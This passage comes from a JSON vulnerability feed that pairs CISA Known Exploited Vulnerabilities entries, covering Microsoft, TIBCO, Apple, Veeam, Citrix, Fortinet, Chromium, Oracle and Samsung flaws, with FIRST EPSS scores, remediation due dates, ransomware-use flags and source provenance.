instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.77326,"percentile":0.99552,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-41080&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-41080","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-01-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-41080 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-41080&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-41080, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-21674","cveId":"CVE-2023-21674","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Advanced Local Procedure Call (ALPC) Privilege Escalation Vulnerability","summary":"Microsoft Windows Advanced Local Procedure Call (ALPC) contains an unspecified vulnerability that allows for privilege escalation.","detail":"CISA added this entry on 2023-01-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-01-10","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-01-10","dueAt":"2023-01-31","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.34206,"percentile":0.98392,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-21674&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-21674","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-01-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-21674 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-21674&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-21674, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-18809","cveId":"CVE-2018-18809","aliases":[],"kind":"vulnerability","title":"TIBCO JasperReports Library Directory Traversal Vulnerability","summary":"TIBCO JasperReports Library contains a directory-traversal vulnerability that may allow web server users to access contents of the host system.","detail":"CISA added this entry on 2022-12-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-12-29","updatedAt":null,"regions":["Global"],"vendor":"TIBCO","product":"JasperReports","stacks":["TIBCO","JasperReports"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-12-29","dueAt":"2023-01-19","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.79064,"percentile":0.99593,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-18809&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-18809","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-12-29","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-18809 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-18809&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-18809, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-5430","cveId":"CVE-2018-5430","aliases":[],"kind":"vulnerability","title":"TIBCO JasperReports Server Information Disclosure Vulnerability","summary":"TIBCO JasperReports Server contain a vulnerability which may allow any authenticated user read-only access to the contents of the web application, including key configuration files.","detail":"CISA added this entry on 2022-12-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-12-29","updatedAt":null,"regions":["Global"],"vendor":"TIBCO","product":"JasperReports","stacks":["TIBCO","JasperReports"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-12-29","dueAt":"2023-01-19","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.48054,"percentile":0.98848,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-5430&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-5430","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-12-29","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-5430 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-5430&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-5430, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-42856","cveId":"CVE-2022-42856","aliases":[],"kind":"vulnerability","title":"Apple iOS Type Confusion Vulnerability","summary":"Apple iOS contains a type confusion vulnerability when processing maliciously crafted web content leading to code execution.","detail":"CISA added this entry on 2022-12-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-12-14","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"iOS","stacks":["Apple iOS and iPadOS","Apple","iOS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-12-14","dueAt":"2023-01-04","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.08523,"percentile":0.95008,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-42856&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-42856","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-12-14","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-42856 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-42856&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-42856, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-26500","cveId":"CVE-2022-26500","aliases":[],"kind":"vulnerability","title":"Veeam Backup & Replication Remote Code Execution Vulnerability","summary":"The Veeam Distribution Service in the Backup & Replication application allows unauthenticated users to access internal API functions. A remote attacker can send input to the internal API which may lead to uploading and executing of malicious code.","detail":"CISA added this entry on 2022-12-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-12-13","updatedAt":null,"regions":["Global"],"vendor":"Veeam","product":"Backup & Replication","stacks":["Veeam","Backup & Replication"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-12-13","dueAt":"2023-01-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.05828,"percentile":0.93104,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-26500&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-26500","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-12-13","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-26500 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-26500&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-26500, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-26501","cveId":"CVE-2022-26501","aliases":[],"kind":"vulnerability","title":"Veeam Backup & Replication Remote Code Execution Vulnerability","summary":"The Veeam Distribution Service in the Backup & Replication application allows unauthenticated users to access internal API functions. A remote attacker can send input to the internal API which may lead to uploading and executing of malicious code.","detail":"CISA added this entry on 2022-12-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-12-13","updatedAt":null,"regions":["Global"],"vendor":"Veeam","product":"Backup & Replication","stacks":["Veeam","Backup & Replication"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-12-13","dueAt":"2023-01-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.04104,"percentile":0.90684,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-26501&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-26501","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-12-13","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-26501 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-26501&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-26501, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-27518","cveId":"CVE-2022-27518","aliases":[],"kind":"vulnerability","title":"Citrix Application Delivery Controller (ADC) and Gateway Authentication Bypass Vulnerability","summary":"Citrix Application Delivery Controller (ADC) and Gateway, when configured with SAML SP or IdP configuration, contain an authentication bypass vulnerability that allows an attacker to execute code as administrator.","detail":"CISA added this entry on 2022-12-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-12-13","updatedAt":null,"regions":["Global"],"vendor":"Citrix","product":"Application Delivery Controller (ADC) and Gateway","stacks":["Citrix NetScaler","Citrix","Application Delivery Controller (ADC) and Gateway"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-12-13","dueAt":"2023-01-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.06858,"percentile":0.93999,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-27518&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-27518","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-12-13","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-27518 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-27518&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-27518, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-42475","cveId":"CVE-2022-42475","aliases":[],"kind":"vulnerability","title":"Fortinet FortiOS Heap-Based Buffer Overflow Vulnerability","summary":"Multiple versions of Fortinet FortiOS SSL-VPN contain a heap-based buffer overflow vulnerability which can allow an unauthenticated, remote attacker to execute arbitrary code or commands via specifically crafted requests.","detail":"CISA added this entry on 2022-12-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-12-13","updatedAt":null,"regions":["Global"],"vendor":"Fortinet","product":"FortiOS","stacks":["Fortinet","FortiOS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-12-13","dueAt":"2023-01-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99474,"percentile":0.99943,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-42475&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-42475","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-12-13","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-42475 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-42475&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-42475, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-44698","cveId":"CVE-2022-44698","aliases":[],"kind":"vulnerability","title":"Microsoft Defender SmartScreen Security Feature Bypass Vulnerability","summary":"Microsoft Defender SmartScreen contains a security feature bypass vulnerability that could allow an attacker to evade Mark of the Web (MOTW) defenses via a specially crafted malicious file.","detail":"CISA added this entry on 2022-12-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-12-13","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Defender","stacks":["Microsoft","Defender"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-12-13","dueAt":"2023-01-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.76267,"percentile":0.99533,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-44698&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-44698","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-12-13","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-44698 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-44698&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-44698, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-4262","cveId":"CVE-2022-4262","aliases":[],"kind":"vulnerability","title":"Google Chromium V8 Type Confusion Vulnerability","summary":"Google Chromium V8 Engine contains a type confusion vulnerability that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.","detail":"CISA added this entry on 2022-12-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-12-05","updatedAt":null,"regions":["Global"],"vendor":"Google","product":"Chromium V8","stacks":["Google Chrome","Google","Chromium V8"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-12-05","dueAt":"2022-12-26","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.2351,"percentile":0.97782,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-4262&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-4262","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-12-05","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-4262 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-4262&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-4262, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-35587","cveId":"CVE-2021-35587","aliases":[],"kind":"vulnerability","title":"Oracle Fusion Middleware Unspecified Vulnerability","summary":"Oracle Fusion Middleware Access Manager allows an unauthenticated attacker with network access via HTTP to takeover the Access Manager product.","detail":"CISA added this entry on 2022-11-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-11-28","updatedAt":null,"regions":["Global"],"vendor":"Oracle","product":"Fusion Middleware","stacks":["Oracle","Fusion Middleware"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-11-28","dueAt":"2022-12-19","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.96284,"percentile":0.99878,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-35587&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-35587","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-11-28","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-35587 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-35587&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-35587, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-4135","cveId":"CVE-2022-4135","aliases":[],"kind":"vulnerability","title":"Google Chromium GPU Heap Buffer Overflow Vulnerability","summary":"Google Chromium GPU contains a heap buffer overflow vulnerability that allows a remote attacker, who has compromised the renderer process, to potentially perform a sandbox escape via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.","detail":"CISA added this entry on 2022-11-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-11-28","updatedAt":null,"regions":["Global"],"vendor":"Google","product":"Chromium GPU","stacks":["Google Chrome","Google","Chromium GPU"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-11-28","dueAt":"2022-12-19","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.31864,"percentile":0.9829,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-4135&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-4135","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-11-28","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-4135 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-4135&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-4135, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-41049","cveId":"CVE-2022-41049","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Mark of the Web (MOTW) Security Feature Bypass Vulnerability","summary":"Microsoft Windows Mark of the Web (MOTW) contains a security feature bypass vulnerability resulting in a limited loss of integrity and availability of security features.","detail":"CISA added this entry on 2022-11-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-11-14","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-11-14","dueAt":"2022-12-09","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.02634,"percentile":0.85426,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-41049&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-41049","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-11-14","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-41049 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-41049&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-41049, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-25337","cveId":"CVE-2021-25337","aliases":[],"kind":"vulnerability","title":"Samsung Mobile Devices Improper Access Control Vulnerability","summary":"Samsung mobile devices contain an improper access control vulnerability in clipboard service which allows untrusted applications to read or write arbitrary files. This vulnerability was chained with CVE-2021-25369 and CVE-2021-25370.","detail":"CISA added this entry on 2022-11-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-11-08","updatedAt":null,"regions":["Global"],"vendor":"Samsung","product":"Mobile Devices","stacks":["Samsung mobile","Samsung","Mobile Devices"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-11-08","dueAt":"2022-11-29","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.02807,"percentile":0.86403,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-25337&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-25337","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-11-08","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-25337 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-25337&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-25337, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-25369","cveId":"CVE-2021-25369","aliases":[],"kind":"vulnerability","title":"Samsung Mobile Devices Improper Access Control 